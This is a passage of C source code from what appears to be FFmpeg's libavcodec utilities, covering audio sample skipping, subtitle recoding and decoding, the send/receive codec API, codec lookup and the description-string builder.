frame->pkt_dts += diff_ts; if (av_frame_get_pkt_duration(frame) >= diff_ts) av_frame_set_pkt_duration(frame, av_frame_get_pkt_duration(frame) - diff_ts); } else { av_log(avctx, AV_LOG_WARNING, "Could not update timestamps for skipped samples.\n"); } av_log(avctx, AV_LOG_DEBUG, "skip %d/%d samples\n", avctx->internal->skip_samples, frame->nb_samples); frame->nb_samples -= avctx->internal->skip_samples; avctx->internal->skip_samples = 0; } } if (discard_padding > 0 && discard_padding <= frame->nb_samples && *got_frame_ptr && !(avctx->flags2 & AV_CODEC_FLAG2_SKIP_MANUAL)) { if (discard_padding == frame->nb_samples) { *got_frame_ptr = 0; } else { if(avctx->pkt_timebase.num && avctx->sample_rate) { int64_t diff_ts = av_rescale_q(frame->nb_samples - discard_padding, (AVRational){1, avctx->sample_rate}, avctx->pkt_timebase); av_frame_set_pkt_duration(frame, diff_ts); } else { av_log(avctx, AV_LOG_WARNING, "Could not update timestamps for discarded samples.\n"); } av_log(avctx, AV_LOG_DEBUG, "discard %d/%d samples\n", (int)discard_padding, frame->nb_samples); frame->nb_samples -= discard_padding; } } if ((avctx->flags2 & AV_CODEC_FLAG2_SKIP_MANUAL) && *got_frame_ptr) { AVFrameSideData *fside = av_frame_new_side_data(frame, AV_FRAME_DATA_SKIP_SAMPLES, 10); if (fside) { AV_WL32(fside->data, avctx->internal->skip_samples); AV_WL32(fside->data + 4, discard_padding); AV_WL8(fside->data + 8, skip_reason); AV_WL8(fside->data + 9, discard_reason); avctx->internal->skip_samples = 0; } } fail: avctx->internal->pkt = NULL; if (did_split) { av_packet_free_side_data(&tmp); if(ret == tmp.size) ret = avpkt->size; } if (ret >= 0 && *got_frame_ptr) { if (!avctx->refcounted_frames) { int err = unrefcount_frame(avci, frame); if (err < 0) return err; } } else av_frame_unref(frame); } av_assert0(ret <= avpkt->size); if (!avci->showed_multi_packet_warning && ret >= 0 && ret != avpkt->size && !(avctx->codec->capabilities & AV_CODEC_CAP_SUBFRAMES)) { av_log(avctx, AV_LOG_WARNING, "Multiple frames in a packet.\n"); avci->showed_multi_packet_warning = 1; } return ret; } #define UTF8_MAX_BYTES 4 /* 5 and 6 bytes sequences should not be used */ static int recode_subtitle(AVCodecContext *avctx, AVPacket *outpkt, const AVPacket *inpkt) { #if CONFIG_ICONV iconv_t cd = (iconv_t)-1; int ret = 0; char *inb, *outb; size_t inl, outl; AVPacket tmp; #endif if (avctx->sub_charenc_mode != FF_SUB_CHARENC_MODE_PRE_DECODER || inpkt->size == 0) return 0; #if CONFIG_ICONV cd = iconv_open("UTF-8", avctx->sub_charenc); av_assert0(cd != (iconv_t)-1); inb = inpkt->data; inl = inpkt->size; if (inl >= INT_MAX / UTF8_MAX_BYTES - AV_INPUT_BUFFER_PADDING_SIZE) { av_log(avctx, AV_LOG_ERROR, "Subtitles packet is too big for recoding\n"); ret = AVERROR(ENOMEM); goto end; } ret = av_new_packet(&tmp, inl * UTF8_MAX_BYTES); if (ret < 0) goto end; outpkt->buf = tmp.buf; outpkt->data = tmp.data; outpkt->size = tmp.size; outb = outpkt->data; outl = outpkt->size; if (iconv(cd, &inb, &inl, &outb, &outl) == (size_t)-1 || iconv(cd, NULL, NULL, &outb, &outl) == (size_t)-1 || outl >= outpkt->size || inl != 0) { ret = FFMIN(AVERROR(errno), -1); av_log(avctx, AV_LOG_ERROR, "Unable to recode subtitle event \"%s\" " "from %s to UTF-8\n", inpkt->data, avctx->sub_charenc); av_packet_unref(&tmp); goto end; } outpkt->size -= outl; memset(outpkt->data + outpkt->size, 0, outl); end: if (cd != (iconv_t)-1) iconv_close(cd); return ret; #else av_log(avctx, AV_LOG_ERROR, "requesting subtitles recoding without iconv"); return AVERROR(EINVAL); #endif } static int utf8_check(const uint8_t *str) { const uint8_t *byte; uint32_t codepoint, min; while (*str) { byte = str; GET_UTF8(codepoint, *(byte++), return 0;); min = byte - str == 1 ? 0 : byte - str == 2 ? 0x80 : 1 << (5 * (byte - str) - 4); if (codepoint < min || codepoint >= 0x110000 || codepoint == 0xFFFE /* BOM */ || codepoint >= 0xD800 && codepoint <= 0xDFFF /* surrogates */) return 0; str = byte; } return 1; } #if FF_API_ASS_TIMING static void insert_ts(AVBPrint *buf, int ts) { if (ts == -1) { av_bprintf(buf, "9:59:59.99,"); } else { int h, m, s; h = ts/360000; ts -= 360000*h; m = ts/ 6000; ts -= 6000*m; s = ts/ 100; ts -= 100*s; av_bprintf(buf, "%d:%02d:%02d.%02d,", h, m, s, ts); } } static int convert_sub_to_old_ass_form(AVSubtitle *sub, const AVPacket *pkt, AVRational tb) { int i; AVBPrint buf; av_bprint_init(&buf, 0, AV_BPRINT_SIZE_UNLIMITED); for (i = 0; i < sub->num_rects; i++) { char *final_dialog; const char *dialog; AVSubtitleRect *rect = sub->rects[i]; int ts_start, ts_duration = -1; long int layer; if (rect->type != SUBTITLE_ASS || !strncmp(rect->ass, "Dialogue: ", 10)) continue; av_bprint_clear(&buf); /* skip ReadOrder */ dialog = strchr(rect->ass, ','); if (!dialog) continue; dialog++; /* extract Layer or Marked */ layer = strtol(dialog, (char**)&dialog, 10); if (*dialog != ',') continue; dialog++; /* rescale timing to ASS time base (ms) */ ts_start = av_rescale_q(pkt->pts, tb, av_make_q(1, 100)); if (pkt->duration != -1) ts_duration = av_rescale_q(pkt->duration, tb, av_make_q(1, 100)); sub->end_display_time = FFMAX(sub->end_display_time, 10 * ts_duration); /* construct ASS (standalone file form with timestamps) string */ av_bprintf(&buf, "Dialogue: %ld,", layer); insert_ts(&buf, ts_start); insert_ts(&buf, ts_duration == -1 ? -1 : ts_start + ts_duration); av_bprintf(&buf, "%s\r\n", dialog); final_dialog = av_strdup(buf.str); if (!av_bprint_is_complete(&buf) || !final_dialog) { av_freep(&final_dialog); av_bprint_finalize(&buf, NULL); return AVERROR(ENOMEM); } av_freep(&rect->ass); rect->ass = final_dialog; } av_bprint_finalize(&buf, NULL); return 0; } #endif int avcodec_decode_subtitle2(AVCodecContext *avctx, AVSubtitle *sub, int *got_sub_ptr, AVPacket *avpkt) { int i, ret = 0; if (!avpkt->data && avpkt->size) { av_log(avctx, AV_LOG_ERROR, "invalid packet: NULL data, size != 0\n"); return AVERROR(EINVAL); } if (!avctx->codec) return AVERROR(EINVAL); if (avctx->codec->type != AVMEDIA_TYPE_SUBTITLE) { av_log(avctx, AV_LOG_ERROR, "Invalid media type for subtitles\n"); return AVERROR(EINVAL); } *got_sub_ptr = 0; get_subtitle_defaults(sub); if ((avctx->codec->capabilities & AV_CODEC_CAP_DELAY) || avpkt->size) { AVPacket pkt_recoded; AVPacket tmp = *avpkt; int did_split = av_packet_split_side_data(&tmp); //apply_param_change(avctx, &tmp); if (did_split) { /* FFMIN() prevents overflow in case the packet wasn't allocated with * proper padding. * If the side data is smaller than the buffer padding size, the * remaining bytes should have already been filled with zeros by the * original packet allocation anyway. */ memset(tmp.data + tmp.size, 0, FFMIN(avpkt->size - tmp.size, AV_INPUT_BUFFER_PADDING_SIZE)); } pkt_recoded = tmp; ret = recode_subtitle(avctx, &pkt_recoded, &tmp); if (ret < 0) { *got_sub_ptr = 0; } else { avctx->internal->pkt = &pkt_recoded; if (avctx->pkt_timebase.num && avpkt->pts != AV_NOPTS_VALUE) sub->pts = av_rescale_q(avpkt->pts, avctx->pkt_timebase, AV_TIME_BASE_Q); ret = avctx->codec->decode(avctx, sub, got_sub_ptr, &pkt_recoded); av_assert1((ret >= 0) >= !!*got_sub_ptr && !!*got_sub_ptr >= !!sub->num_rects); #if FF_API_ASS_TIMING if (avctx->sub_text_format == FF_SUB_TEXT_FMT_ASS_WITH_TIMINGS && *got_sub_ptr && sub->num_rects) { const AVRational tb = avctx->pkt_timebase.num ? avctx->pkt_timebase : avctx->time_base; int err = convert_sub_to_old_ass_form(sub, avpkt, tb); if (err < 0) ret = err; } #endif if (sub->num_rects && !sub->end_display_time && avpkt->duration && avctx->pkt_timebase.num) { AVRational ms = { 1, 1000 }; sub->end_display_time = av_rescale_q(avpkt->duration, avctx->pkt_timebase, ms); } for (i = 0; i < sub->num_rects; i++) { if (sub->rects[i]->ass && !utf8_check(sub->rects[i]->ass)) { av_log(avctx, AV_LOG_ERROR, "Invalid UTF-8 in decoded subtitles text; " "maybe missing -sub_charenc option\n"); avsubtitle_free(sub); return AVERROR_INVALIDDATA; } } if (tmp.data != pkt_recoded.data) { // did we recode? /* prevent from destroying side data from original packet */ pkt_recoded.side_data = NULL; pkt_recoded.side_data_elems = 0; av_packet_unref(&pkt_recoded); } if (avctx->codec_descriptor->props & AV_CODEC_PROP_BITMAP_SUB) sub->format = 0; else if (avctx->codec_descriptor->props & AV_CODEC_PROP_TEXT_SUB) sub->format = 1; avctx->internal->pkt = NULL; } if (did_split) { av_packet_free_side_data(&tmp); if(ret == tmp.size) ret = avpkt->size; } if (*got_sub_ptr) avctx->frame_number++; } return ret; } void avsubtitle_free(AVSubtitle *sub) { int i; for (i = 0; i < sub->num_rects; i++) { av_freep(&sub->rects[i]->data[0]); av_freep(&sub->rects[i]->data[1]); av_freep(&sub->rects[i]->data[2]); av_freep(&sub->rects[i]->data[3]); av_freep(&sub->rects[i]->text); av_freep(&sub->rects[i]->ass); av_freep(&sub->rects[i]); } av_freep(&sub->rects); memset(sub, 0, sizeof(AVSubtitle)); } static int do_decode(AVCodecContext *avctx, AVPacket *pkt) { int got_frame; int ret; av_assert0(!avctx->internal->buffer_frame->buf[0]); if (!pkt) pkt = avctx->internal->buffer_pkt; // This is the lesser evil. The field is for compatibility with legacy users // of the legacy API, and users using the new API should not be forced to // even know about this field. avctx->refcounted_frames = 1; // Some codecs (at least wma lossless) will crash when feeding drain packets // after EOF was signaled. if (avctx->internal->draining_done) return AVERROR_EOF; if (avctx->codec_type == AVMEDIA_TYPE_VIDEO) { ret = avcodec_decode_video2(avctx, avctx->internal->buffer_frame, &got_frame, pkt); if (ret >= 0 && !(avctx->flags & AV_CODEC_FLAG_TRUNCATED)) ret = pkt->size; } else if (avctx->codec_type == AVMEDIA_TYPE_AUDIO) { ret = avcodec_decode_audio4(avctx, avctx->internal->buffer_frame, &got_frame, pkt); } else { ret = AVERROR(EINVAL); } if (ret == AVERROR(EAGAIN)) ret = pkt->size; if (ret < 0) return ret; if (avctx->internal->draining && !got_frame) avctx->internal->draining_done = 1; if (ret >= pkt->size) { av_packet_unref(avctx->internal->buffer_pkt); } else { int consumed = ret; if (pkt != avctx->internal->buffer_pkt) { av_packet_unref(avctx->internal->buffer_pkt); if ((ret = av_packet_ref(avctx->internal->buffer_pkt, pkt)) < 0) return ret; } avctx->internal->buffer_pkt->data += consumed; avctx->internal->buffer_pkt->size -= consumed; avctx->internal->buffer_pkt->pts = AV_NOPTS_VALUE; avctx->internal->buffer_pkt->dts = AV_NOPTS_VALUE; } if (got_frame) av_assert0(avctx->internal->buffer_frame->buf[0]); return 0; } int attribute_align_arg avcodec_send_packet(AVCodecContext *avctx, const AVPacket *avpkt) { int ret; if (!avcodec_is_open(avctx) || !av_codec_is_decoder(avctx->codec)) return AVERROR(EINVAL); if (avctx->internal->draining) return AVERROR_EOF; if (avpkt && !avpkt->size && avpkt->data) return AVERROR(EINVAL); if (!avpkt || !avpkt->size) { avctx->internal->draining = 1; avpkt = NULL; if (!(avctx->codec->capabilities & AV_CODEC_CAP_DELAY)) return 0; } if (avctx->codec->send_packet) { if (avpkt) { AVPacket tmp = *avpkt; int did_split = av_packet_split_side_data(&tmp); ret = apply_param_change(avctx, &tmp); if (ret >= 0) ret = avctx->codec->send_packet(avctx, &tmp); if (did_split) av_packet_free_side_data(&tmp); return ret; } else { return avctx->codec->send_packet(avctx, NULL); } } // Emulation via old API. Assume avpkt is likely not refcounted, while // decoder output is always refcounted, and avoid copying. if (avctx->internal->buffer_pkt->size || avctx->internal->buffer_frame->buf[0]) return AVERROR(EAGAIN); // The goal is decoding the first frame of the packet without using memcpy, // because the common case is having only 1 frame per packet (especially // with video, but audio too). In other cases, it can't be avoided, unless // the user is feeding refcounted packets. return do_decode(avctx, (AVPacket *)avpkt); } int attribute_align_arg avcodec_receive_frame(AVCodecContext *avctx, AVFrame *frame) { int ret; av_frame_unref(frame); if (!avcodec_is_open(avctx) || !av_codec_is_decoder(avctx->codec)) return AVERROR(EINVAL); if (avctx->codec->receive_frame) { if (avctx->internal->draining && !(avctx->codec->capabilities & AV_CODEC_CAP_DELAY)) return AVERROR_EOF; ret = avctx->codec->receive_frame(avctx, frame); if (ret >= 0) { if (av_frame_get_best_effort_timestamp(frame) == AV_NOPTS_VALUE) { av_frame_set_best_effort_timestamp(frame, guess_correct_pts(avctx, frame->pts, frame->pkt_dts)); } } return ret; } // Emulation via old API. if (!avctx->internal->buffer_frame->buf[0]) { if (!avctx->internal->buffer_pkt->size && !avctx->internal->draining) return AVERROR(EAGAIN); while (1) { if ((ret = do_decode(avctx, avctx->internal->buffer_pkt)) < 0) { av_packet_unref(avctx->internal->buffer_pkt); return ret; } // Some audio decoders may consume partial data without returning // a frame (fate-wmapro-2ch). There is no way to make the caller // call avcodec_receive_frame() again without returning a frame, // so try to decode more in these cases. if (avctx->internal->buffer_frame->buf[0] || !avctx->internal->buffer_pkt->size) break; } } if (!avctx->internal->buffer_frame->buf[0]) return avctx->internal->draining ? AVERROR_EOF : AVERROR(EAGAIN); av_frame_move_ref(frame, avctx->internal->buffer_frame); return 0; } static int do_encode(AVCodecContext *avctx, const AVFrame *frame, int *got_packet) { int ret; *got_packet = 0; av_packet_unref(avctx->internal->buffer_pkt); avctx->internal->buffer_pkt_valid = 0; if (avctx->codec_type == AVMEDIA_TYPE_VIDEO) { ret = avcodec_encode_video2(avctx, avctx->internal->buffer_pkt, frame, got_packet); } else if (avctx->codec_type == AVMEDIA_TYPE_AUDIO) { ret = avcodec_encode_audio2(avctx, avctx->internal->buffer_pkt, frame, got_packet); } else { ret = AVERROR(EINVAL); } if (ret >= 0 && *got_packet) { // Encoders must always return ref-counted buffers. // Side-data only packets have no data and can be not ref-counted. av_assert0(!avctx->internal->buffer_pkt->data || avctx->internal->buffer_pkt->buf); avctx->internal->buffer_pkt_valid = 1; ret = 0; } else { av_packet_unref(avctx->internal->buffer_pkt); } return ret; } int attribute_align_arg avcodec_send_frame(AVCodecContext *avctx, const AVFrame *frame) { if (!avcodec_is_open(avctx) || !av_codec_is_encoder(avctx->codec)) return AVERROR(EINVAL); if (avctx->internal->draining) return AVERROR_EOF; if (!frame) { avctx->internal->draining = 1; if (!(avctx->codec->capabilities & AV_CODEC_CAP_DELAY)) return 0; } if (avctx->codec->send_frame) return avctx->codec->send_frame(avctx, frame); // Emulation via old API. Do it here instead of avcodec_receive_packet, because: // 1. if the AVFrame is not refcounted, the copying will be much more // expensive than copying the packet data // 2. assume few users use non-refcounted AVPackets, so usually no copy is // needed if (avctx->internal->buffer_pkt_valid) return AVERROR(EAGAIN); return do_encode(avctx, frame, &(int){0}); } int attribute_align_arg avcodec_receive_packet(AVCodecContext *avctx, AVPacket *avpkt) { av_packet_unref(avpkt); if (!avcodec_is_open(avctx) || !av_codec_is_encoder(avctx->codec)) return AVERROR(EINVAL); if (avctx->codec->receive_packet) { if (avctx->internal->draining && !(avctx->codec->capabilities & AV_CODEC_CAP_DELAY)) return AVERROR_EOF; return avctx->codec->receive_packet(avctx, avpkt); } // Emulation via old API. if (!avctx->internal->buffer_pkt_valid) { int got_packet; int ret; if (!avctx->internal->draining) return AVERROR(EAGAIN); ret = do_encode(avctx, NULL, &got_packet); if (ret < 0) return ret; if (ret >= 0 && !got_packet) return AVERROR_EOF; } av_packet_move_ref(avpkt, avctx->internal->buffer_pkt); avctx->internal->buffer_pkt_valid = 0; return 0; } av_cold int avcodec_close(AVCodecContext *avctx) { int i; if (!avctx) return 0; if (avcodec_is_open(avctx)) { FramePool *pool = avctx->internal->pool; if (CONFIG_FRAME_THREAD_ENCODER && avctx->internal->frame_thread_encoder && avctx->thread_count > 1) { ff_frame_thread_encoder_free(avctx); } if (HAVE_THREADS && avctx->internal->thread_ctx) ff_thread_free(avctx); if (avctx->codec && avctx->codec->close) avctx->codec->close(avctx); avctx->internal->byte_buffer_size = 0; av_freep(&avctx->internal->byte_buffer); av_frame_free(&avctx->internal->to_free); av_frame_free(&avctx->internal->buffer_frame); av_packet_free(&avctx->internal->buffer_pkt); for (i = 0; i < FF_ARRAY_ELEMS(pool->pools); i++) av_buffer_pool_uninit(&pool->pools[i]); av_freep(&avctx->internal->pool); if (avctx->hwaccel && avctx->hwaccel->uninit) avctx->hwaccel->uninit(avctx); av_freep(&avctx->internal->hwaccel_priv_data); av_freep(&avctx->internal); } for (i = 0; i < avctx->nb_coded_side_data; i++) av_freep(&avctx->coded_side_data[i].data); av_freep(&avctx->coded_side_data); avctx->nb_coded_side_data = 0; av_buffer_unref(&avctx->hw_frames_ctx); if (avctx->priv_data && avctx->codec && avctx->codec->priv_class) av_opt_free(avctx->priv_data); av_opt_free(avctx); av_freep(&avctx->priv_data); if (av_codec_is_encoder(avctx->codec)) { av_freep(&avctx->extradata); #if FF_API_CODED_FRAME FF_DISABLE_DEPRECATION_WARNINGS av_frame_free(&avctx->coded_frame); FF_ENABLE_DEPRECATION_WARNINGS #endif } avctx->codec = NULL; avctx->active_thread_type = 0; return 0; } static enum AVCodecID remap_deprecated_codec_id(enum AVCodecID id) { switch(id){ //This is for future deprecatec codec ids, its empty since //last major bump but will fill up again over time, please don't remove it default : return id; } } static AVCodec *find_encdec(enum AVCodecID id, int encoder) { AVCodec *p, *experimental = NULL; p = first_avcodec; id= remap_deprecated_codec_id(id); while (p) { if ((encoder ? av_codec_is_encoder(p) : av_codec_is_decoder(p)) && p->id == id) { if (p->capabilities & AV_CODEC_CAP_EXPERIMENTAL && !experimental) { experimental = p; } else return p; } p = p->next; } return experimental; } AVCodec *avcodec_find_encoder(enum AVCodecID id) { return find_encdec(id, 1); } AVCodec *avcodec_find_encoder_by_name(const char *name) { AVCodec *p; if (!name) return NULL; p = first_avcodec; while (p) { if (av_codec_is_encoder(p) && strcmp(name, p->name) == 0) return p; p = p->next; } return NULL; } AVCodec *avcodec_find_decoder(enum AVCodecID id) { return find_encdec(id, 0); } AVCodec *avcodec_find_decoder_by_name(const char *name) { AVCodec *p; if (!name) return NULL; p = first_avcodec; while (p) { if (av_codec_is_decoder(p) && strcmp(name, p->name) == 0) return p; p = p->next; } return NULL; } const char *avcodec_get_name(enum AVCodecID id) { const AVCodecDescriptor *cd; AVCodec *codec; if (id == AV_CODEC_ID_NONE) return "none"; cd = avcodec_descriptor_get(id); if (cd) return cd->name; av_log(NULL, AV_LOG_WARNING, "Codec 0x%x is not in the full list.\n", id); codec = avcodec_find_decoder(id); if (codec) return codec->name; codec = avcodec_find_encoder(id); if (codec) return codec->name; return "unknown_codec"; } size_t av_get_codec_tag_string(char *buf, size_t buf_size, unsigned int codec_tag) { int i, len, ret = 0; #define TAG_PRINT(x) \ (((x) >= '0' && (x) <= '9') || \ ((x) >= 'a' && (x) <= 'z') || ((x) >= 'A' && (x) <= 'Z') || \ ((x) == '.' || (x) == ' ' || (x) == '-' || (x) == '_')) for (i = 0; i < 4; i++) { len = snprintf(buf, buf_size, TAG_PRINT(codec_tag & 0xFF) ? "%c" : "[%d]", codec_tag & 0xFF); buf += len; buf_size = buf_size > len ? buf_size - len : 0; ret += len; codec_tag >>= 8; } return ret; } void avcodec_string(char *buf, int buf_size, AVCodecContext *enc, int encode) { const char *codec_type; const char *codec_name; const char *profile = NULL; int64_t bitrate; int new_line = 0; AVRational display_aspect_ratio; const char *separator = enc->dump_separator ? (const char *)enc->dump_separator : ", "; if (!buf || buf_size <= 0) return; codec_type = av_get_media_type_string(enc->codec_type); codec_name = avcodec_get_name(enc->codec_id); profile = avcodec_profile_name(enc->codec_id, enc->profile); snprintf(buf, buf_size, "%s: %s", codec_type ? codec_type : "unknown", codec_name); buf[0] ^= 'a' ^ 'A'; /* first letter in uppercase */ if (enc->codec && strcmp(enc->codec->name, codec_name)) snprintf(buf + strlen(buf), buf_size - strlen(buf), " (%s)", enc->codec->name); if (profile) snprintf(buf + strlen(buf), buf_size - strlen(buf), " (%s)", profile); if ( enc->codec_type == AVMEDIA_TYPE_VIDEO && av_log_get_level() >= AV_LOG_VERBOSE && enc->refs) snprintf(buf + strlen(buf), buf_size - strlen(buf), ", %d reference frame%s", enc->refs, enc->refs > 1 ? "s" : ""); if (enc->codec_tag) { char tag_buf[32]; av_get_codec_tag_string(tag_buf, sizeof(tag_buf), enc->codec_tag); snprintf(buf + strlen(buf), buf_size - strlen(buf), " (%s / 0x%04X)", tag_buf, enc->codec_tag); } switch (enc->codec_type) { case AVMEDIA_TYPE_VIDEO: { char detail[256] = "("; av_strlcat(buf, separator, buf_size); snprintf(buf + strlen(buf), buf_size - strlen(buf), "%s", enc->pix_fmt == AV_PIX_FMT_NONE ? "none" : av_get_pix_fmt_name(enc->pix_fmt)); if (enc->bits_per_raw_sample && enc->pix_fmt != AV_PIX_FMT_NONE && enc->bits_per_raw_sample < av_pix_fmt_desc_get(enc->pix_fmt)->comp[0].depth) av_strlcatf(detail, sizeof(detail), "%d bpc, ", enc->bits_per_raw_sample); if (enc->color_range != AVCOL_RANGE_UNSPECIFIED) av_strlcatf(detail, sizeof(detail), "%s, ", av_color_range_name(enc->color_range)); if (enc->colorspace != AVCOL_SPC_UNSPECIFIED || enc->color_primaries != AVCOL_PRI_UNSPECIFIED || enc->color_trc != AVCOL_TRC_UNSPECIFIED) { if (enc->colorspace != (int)enc->color_primaries || enc->colorspace != (int)enc->color_trc) { new_line = 1; av_strlcatf(detail, sizeof(detail), "%s/%s/%s, ", av_color_space_name(enc->colorspace), av_color_primaries_name(enc->color_primaries), av_color_transfer_name(enc->color_trc)); } else av_strlcatf(detail, sizeof(detail), "%s, ", av_get_colorspace_name(enc->colorspace)); } if (enc->field_order != AV_FIELD_UNKNOWN) { const char *field_order = "progressive"; if (enc->field_order == AV_FIELD_TT) field_order = "top first"; else if (enc->field_order == AV_FIELD_BB) field_order = "bottom first"; else if (enc->field_order == AV_FIELD_TB) field_order = "top coded first (swapped)"; else if (enc->field_order == AV_FIELD_BT) field_order = "bottom coded first (swapped)"; av_strlcatf(detail, sizeof(detail), "%s, ", field_order); } if (av_log_get_level() >= AV_LOG_VERBOSE && enc->chroma_sample_location != AVCHROMA_LOC_UNSPECIFIED) av_strlcatf(detail, sizeof(detail), "%s, ", av_chroma_location_name(enc->chroma_sample_location)); if (strlen(detail) > 1) { detail[strlen(detail) - 2] = 0; av_strlcatf(buf, buf_size, "%s)", detail); } } if (enc->width) { av_strlcat(buf, new_line ? separator : ", ", buf_size); snprintf(buf + strlen(buf), buf_size - strlen(buf), "%dx%d", enc->width, enc->height); if (av_log_get_level() >= AV_LOG_VERBOSE && (enc->width != enc->coded_width || enc->height != enc->coded_height)) snprintf(buf + strlen(buf), buf_size - strlen(buf), " (%dx%d)", enc->coded_width, enc->coded_height); if (enc->sample_aspect_ratio.num) { av_reduce(&display_aspect_ratio.num, &display_aspect_ratio.den, enc->width * (int64_t)enc->sample_aspect_ratio.num, enc->height * (int64_t)enc->sample_aspect_ratio.den, 1024 * 1024); snprintf(buf + strlen(buf), buf_size - strlen(buf), " [SAR %d:%d DAR %d:%d]", enc->sample_aspect_ratio.num, enc->sample_aspect_ratio.den, display_aspect_ratio.num, display_aspect_ratio.den); } if (av_log_get_level() >= AV_LOG_DEBUG) { int g = av_gcd(enc->time_base.num, enc->time_base.den); snprintf(buf + strlen(buf), buf_size - strlen(buf), ", %d/%d", enc->time_base.num / g, enc->time_base.den / g); } } if (encode) { snprintf(buf + strlen(buf), buf_size - strlen(buf), ", q=%d-%d", enc->qmin, enc->qmax); } else { if (enc->properties & FF_CODEC_PROPERTY_CLOSED_CAPTIONS) snprintf(buf + strlen(buf), buf_size - strlen(buf), ", Closed Captions"); if (enc->properties & FF_CODEC_PROPERTY_LOSSLESS) snprintf(buf + strlen(buf), buf_size - strlen(buf), ", lossless"); } break; case AVMEDIA_TYPE_AUDIO: av_strlcat(buf, separator, buf_size); if (enc->sample_rate) { snprintf(buf + strlen(buf), buf_size - strlen(buf), "%d Hz, ", enc->sample_rate); } av_get_channel_layout_string(buf + strlen(buf), buf_size - strlen(buf), enc->channels, enc->channel_layout); if (enc->sample_fmt != AV_SAMPLE_FMT_NONE) { snprintf(buf + strlen(buf), buf_size - strlen(buf), ", %s", av_get_sample_fmt_name(enc->sample_fmt)); } if ( enc->bits_per_raw_sample > 0 && enc->bits_per_raw_sample != av_get_bytes_per_sample(enc->sample_fmt) * 8) snprintf(buf + strlen(buf), buf_size - strlen(buf), " (%d bit)", enc->bits_per_raw_sample); if (av_log_get_level() >= AV_LOG_VERBOSE) { if (enc->initial_padding) snprintf(buf + strlen(buf), buf_size - strlen(buf), ", delay %d", enc->initial_padding); if (enc->trailing_padding) snprintf(buf + strlen(buf), buf_size - strlen(buf), ", padding %d", enc->trailing_padding); } break; case AVMEDIA_TYPE_DATA: if (av_log_get_level() >= AV_LOG_DEBUG) { int g = av_gcd(enc->time_base.num, enc->time_base.den); if (g) snprintf(buf + strlen(buf), buf_size - strlen(buf), ", %d/%d", enc->time_base.num / g, enc->time_base.den / g); } break; case AVMEDIA_TYPE_SUBTITLE: if (enc->width) snprintf(buf + strlen(buf), buf_size - strlen(buf), ", %dx%d", enc->width, enc->height); break; default: return; } if (encode) { if (enc->flags & AV_CODEC_FLAG_PASS1) snprintf(buf + strlen(buf), buf_size - strlen(buf), ", pass 1"); if (enc->flags & AV_CODEC_FLAG_PASS2) snprintf(buf + strlen(buf), buf_size - strlen(buf), ", pass 2"); } bitrate = get_bit_rate(enc); if (bitrate != 0) { snprintf(buf + strlen(buf), buf_size - strlen(buf), ", %"PRId64" kb/s", bitrate / 1000); } else if (enc->rc_max_rate > 0) { snprintf(buf + strlen(buf), buf_size - strlen(buf), ", max. %"PRId64" kb/s", (int64_t)enc->rc_max_rate / 1000); } } const char *av_get_profile_name(const AVCodec *codec, int profile) { const AVProfile *p; if (profile == FF_PROFILE_UNKNOWN || !codec->profiles) return NULL; for (p = codec->profiles; p->profile != FF_PROFILE_UNKNOWN; p++) if (p->profile == profile) return p->name; return NULL; } const char *avcodec_profile_name(enum AVCodecID codec_id, int profile) { const AVCodecDescriptor *desc = avcodec_descriptor_get(codec_id); const AVProfile *p; if (profile == FF_PROFILE_UNKNOWN || !desc || !desc->profiles) return NULL; for (p = desc->profiles; p->profile != FF_PROFILE_UNKNOWN; p++) if (p->profile == profile) return p->name; return NULL; } unsigned avcodec_version(void) { // av_assert0(AV_CODEC_ID_V410==164); av_assert0(AV_CODEC_ID_PCM_S8_PLANAR==65563); av_assert0(AV_CODEC_ID_ADPCM_G722==69660); // av_assert0(AV_CODEC_ID_BMV_AUDIO==86071); av_assert0(AV_CODEC_ID_SRT==94216); av_assert0(LIBAVCODEC_VERSION_MICRO >= 100); return LIBAVCODEC_VERSION_INT; } const char *avcodec_configuration(void) { return FFMPEG_CONFIGURATION; } const char *avcodec_license(void) { #define LICENSE_PREFIX "libavcodec license: " return LICENSE_PREFIX FFMPEG_LICENSE + sizeof(LICENSE_PREFIX) - 1; } void avcodec_flush_buffers(AVCodecContext *avctx) { avctx->internal->draining = 0; avctx->internal->draining_done = 0; av_frame_unref(avctx->internal->buffer_frame); av_packet_unref(avctx->internal->buffer_pkt); avctx->internal->buffer_pkt_valid = 0; if (HAVE_THREADS && avctx->active_thread_type & FF_THREAD_FRAME) ff_thread_flush(avctx); else if (avctx->codec->flush) avctx->codec->flush(avctx); avctx->pts_correction_last_pts = avctx->pts_correction_last_dts = INT64_MIN; if (!avctx->refcounted_frames) av_frame_unref(avctx->internal->to_free); } int av_get_exact_bits_per_sample(enum AVCodecID codec_id) { switch (codec_id) { case AV_CODEC_ID_8SVX_EXP: case AV_CODEC_ID_8SVX_FIB: case AV_CODEC_ID_ADPCM_CT: case AV_CODEC_ID_ADPCM_IMA_APC: case AV_CODEC_ID_ADPCM_IMA_EA_SEAD: case AV_CODEC_ID_ADPCM_IMA_OKI: case AV_CODEC_ID_ADPCM_IMA_WS: case AV_CODEC_ID_ADPCM_G722: case AV_CODEC_ID_ADPCM_YAMAHA: case AV_CODEC_ID_ADPCM_AICA: return 4; case AV_CODEC_ID_DSD_LSBF: case AV_CODEC_ID_DSD_MSBF: case AV_CODEC_ID_DSD_LSBF_PLANAR: case AV_CODEC_ID_DSD_MSBF_PLANAR: case AV_CODEC_ID_PCM_ALAW: case AV_CODEC_ID_PCM_MULAW: case AV_CODEC_ID_PCM_S8: case AV_CODEC_ID_PCM_S8_PLANAR: case AV_CODEC_ID_PCM_U8: case AV_CODEC_ID_PCM_ZORK: case AV_CODEC_ID_SDX2_DPCM: return 8; case AV_CODEC_ID_PCM_S16BE: case AV_CODEC_ID_PCM_S16BE_PLANAR: case AV_CODEC_ID_PCM_S16LE: case AV_CODEC_ID_PCM_S16LE_PLANAR: case AV_CODEC_ID_PCM_U16BE: case AV_CODEC_ID_PCM_U16LE: return 16; case AV_CODEC_ID_PCM_S24DAUD: case AV_CODEC_ID_PCM_S24BE: case AV_CODEC_ID_PCM_S24LE: case AV_CODEC_ID_PCM_S24LE_PLANAR: case AV_CODEC_ID_PCM_U24BE: case AV_CODEC_ID_PCM_U24LE: return 24; case AV_CODEC_ID_PCM_S32BE: case AV_CODEC_ID_PCM_S32LE: case AV_CODEC_ID_PCM_S32LE_PLANAR: case AV_CODEC_ID_PCM_U32BE: case AV_CODEC_ID_PCM_U32LE: case AV_CODEC_ID_PCM_F32BE: case AV_CODEC_ID_PCM_F32LE: case AV_CODEC_ID_PCM_F24LE: case AV_CODEC_ID_PCM_F16LE: return 